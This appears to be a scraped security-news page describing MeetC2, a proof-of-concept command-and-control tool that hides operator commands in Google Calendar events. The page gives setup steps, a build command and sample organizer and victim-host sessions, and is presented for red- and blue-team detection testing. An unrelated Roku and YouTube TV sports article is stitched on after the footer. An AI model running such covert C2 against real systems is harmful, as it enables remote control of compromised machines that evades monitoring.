A serverless C2 framework that leverages Google Calendar APIs as a communication channel


MeetC2 – A serverless C2 framework that leverages Google Calendar APIs as a communication channel

Pierluigi Paganini
September 06, 2025

MeetC2 is a PoC C2 tool using Google Calendar to mimic cloud abuse, helping teams test detection, logging, and response.

Background: Modern adversaries increasingly hide command-and-control (C2) traffic inside cloud services. We built this proof of concept (PoC) to study and demonstrate those techniques in a controlled way, emulating those tactics so red and blue teams can exercise detection, telemetry, and response to cloud abuse scenarios.

Storytime: During an internal purple-team exercise, we saw how easily traffic to trusted SaaS domains slipped. We built a lightweight, cross‑platform PoC that uses Google Calendar, giving teams a reproducible way to validate detections, logging, and third‑party app governance for cloud‑abuse C2 in a controlled environment.

MeetC2: MeetC2 is a proof-of-concept C2 framework that uses the Google Calendar API as a covert communication channel between operators and a compromised system.

MeetC2

Overview

MeetC2, a.k.a. MeetingC2, is a cross-platform (macOS/Linux) application that demonstrates how legitimate cloud services can be abused for adversarial operations. By using Google Calendar APIs, the framework creates a hidden communication channel that blends in with normal business traffic.

Domains utilised here are “oauth2.googleapis.com” & “www.googleapis.com“. Once authenticated, the agent enters a polling loop, sending GET requests every 30 seconds to “www.googleapis.com/calendar/v3/calendars/{calendarId}/events” to check for new calendar events containing commands.

When the organiser wants to issue a new command, they can POST a new event to the same Calendar API endpoint via “organiser” agent with the command embedded in the event’s summary field, like “Meeting from nobody: [COMMAND]”.

The “guest” agent identifies these command events during its regular polling, which extracts and executes the command locally, then updates the same event via a PUT request to include the command output within the [OUTPUT] [/OUTPUT] parameter in the description field.

MeetC2

Google Calendar Setup

  • Navigate to the URL Google cloud console, sign in with your Google account. Select a project or create a new project.
  • Navigate to “APIs & Services” → Click “Library”, in the search box, look for Google Calendar API and click “ENABLED”, it will take 20–30 seconds to get it enabled in your project.
  • Post this, navigate to “APIs & Services” → “Credentials” and click “+ CREATE CREDENTIALS” at the top. Choose “Service account”, fill in the required details, i.e., Service account name: calendar-invite, Description: Syncs calendar events and continue. Skip the optional role/users and click “DONE”.
  • Now check your service account lists, and you should have an email like “[email protected]”. Go to the “KEYS” section “ADD KEY” → “Create new key”, choose the “JSON” format and download the “KEY”. Rename the downloaded JSON file to credentials.json for later use.
  • Navigate to the URL “https://calendar.google.com”, on the left side, find “Other calendars” → Click the “+” click on create new calendar, fill in the name/description. Post that, click on the 3 dots next to it → “Settings and sharing”. Scroll down to “Integrate calendar”, check for “Calendar ID” it should look like “[email protected]”.
  • Final steps, under calendar settings, find “Share with specific people” click on “+ Add people”, add the service account email from step 4 above (the one ending in @your-project.iam.gserviceaccount.com). Change the permission to “Make changes to events” and click “Send”, and you are all set.

Command Line

Compile:

./build-all.sh <credentials.json> <calendar_id>

Attacker host:

bash-3.2$ ./organizer credentials.json [NAME]@group.calendar.google.com
MeetC2 Organizer
Commands:
exec <cmd> — Execute on all hosts
exec @host:<cmd> — Execute on specific host
exec @*:<cmd> — Execute on all hosts (explicit)
list — List recent commands
get <event_id> — Get command output
clear — Clear executed events
exit — Exit organizer
— — — — — — — — — — — — — — — — — — — —
> exec whoami
Command created for all hosts: qfj4tt8a4uoi8p7cd3b8t31337
>
>

Victim host:

bash-3.2$ ./guest-darwin-arm64
16:08:04 MeetC2 Guest started on dhirajmishra
16:08:04 Calendar ID: [NAME]@group.calendar.google.com
16:08:04 Polling every 10 seconds…
16:08:15 Executing command: whoami
16:08:16 Successfully updated event with output

MeetC2

Acknowledgements: This project was inspired by the GC2-sheet author LooCiprian. Hence, special thanks to him.

OpSec: While this is functional, I know there are improvements in OpSec specifically for the “guest” binary. Hence, please use a test GCP project for such a setup, which should be purged later.

Download MeetC2

https://github.com/deriv-security/MeetC2

About the Author: Security Researcher Dhiraj Mishra (@mishradhiraj)

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, MeetC2)







Source link

Leave a Reply

Subscribe to Our Newsletter

Get our latest articles delivered straight to your inbox. No spam, we promise.

Recent Reviews



The Roku Sports interface now shows content you can watch on YouTube TV. The new feature, which is rolling out to all Roku devices in the U.S. starting today, will make it easier for fans to find games from YouTube TV, including all the NFL games that come with NFL Sunday Ticket.

Adding YouTube TV pushes Roku’s Sports section pretty far. The section already includes a bunch of other partners like DAZN Live Sports, FOX One, Frndly TV, Spectrum TV, and Xfinity Stream. The whole point is to give sports fans a central hub to find their favorite games, highlights, and scores from all the top leagues.

According to Joe Franzetta, Roku Media’s Head of Sports, the company’s main goal is to make “game time effortless for our users. Partnering with YouTube TV is a major step in delivering a comprehensive fan-centered experience that simplifies sports discovery and puts live action front and center for millions of fans.”

Roku also reported that YouTube TV will be available in other content discovery areas on the platform in the future. This means you’ll be able to find YouTube TV content in other sections that Rokue has, so you don’t miss out on anything important.

YouTube TV is a great app when it comes to live TV, but since the service added the NFL Sunday Ticket, it’s become a massive player in sports broadcasting. It’s also got some pretty sweet features for sports fans, like multiview, which lets you watch up to four games at once. It also has the ability to catch up on key plays, so you don’t have to worry if you’re running a little late. This integration will let YouTube TV subscribers make the most of their subscription by making it easy to find and jump into games.

You can still go straight to the YouTube TV app and look for your sports content there, since nothing will be changing on the app itself. The difference is that now you don’t need to look through the app to find its content, which makes it easier to find what you want since Roku’s sports interface saves a lot of time. I use it during the Super Bowl and on many Sundays. This is easier than trying to keep up with which company owns the right to broadcast the game I want to see.

Roku does offer a lot of content for free, but this does not mean the content shown on YouTube TV will be free. While you only need a Roku TV to get to the sports section, you still need a subscription to watch the content from YouTube TV. You also need the NFL Sunday Ticket for the NFL games included in the pass. It is just like the content shown by other broadcasters that is displayed in the Roku Sports section. So you’ll still need to pay the $85 month-to-month price, unless you took advantage of a promotion.

Source: Roku



Source link